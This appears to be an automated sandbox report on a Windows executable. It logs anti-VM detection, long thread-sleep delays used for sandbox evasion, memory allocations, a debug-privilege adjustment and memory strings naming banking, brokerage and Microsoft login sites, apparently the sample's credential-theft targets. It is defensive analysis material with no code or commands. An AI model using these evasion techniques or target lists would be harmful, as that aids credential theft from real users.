Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: kP8EgMorTr.exe PID: 7276, type: MEMORYSTR

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 9A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 2720000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 2610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 8850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 9850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 9A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: AA50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 3120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 32F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Memory allocated: 3120000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594360	Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Window / User API: threadDelayed 1522			Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Window / User API: threadDelayed 8323			Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7296	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7948	Thread sleep count: 1522 > 30	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7948	Thread sleep count: 8323 > 30	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -598641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -598422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -598312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe TID: 7944	Thread sleep time: -594360s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597640	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Thread delayed: delay time: 594360	Jump to behavior

Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: kP8EgMorTr.exe, 00000003.00000002.3698800936.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: kP8EgMorTr.exe, 00000003.00000002.3702114001.00000000043D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Code function: 3_2_05E997B0 LdrInitializeThunk,

3_2_05E997B0

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe

Process created: C:\Users\user\Desktop\kP8EgMorTr.exe "C:\Users\user\Desktop\kP8EgMorTr.exe"

Jump to behavior

Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Users\user\Desktop\kP8EgMorTr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Users\user\Desktop\kP8EgMorTr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kP8EgMorTr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
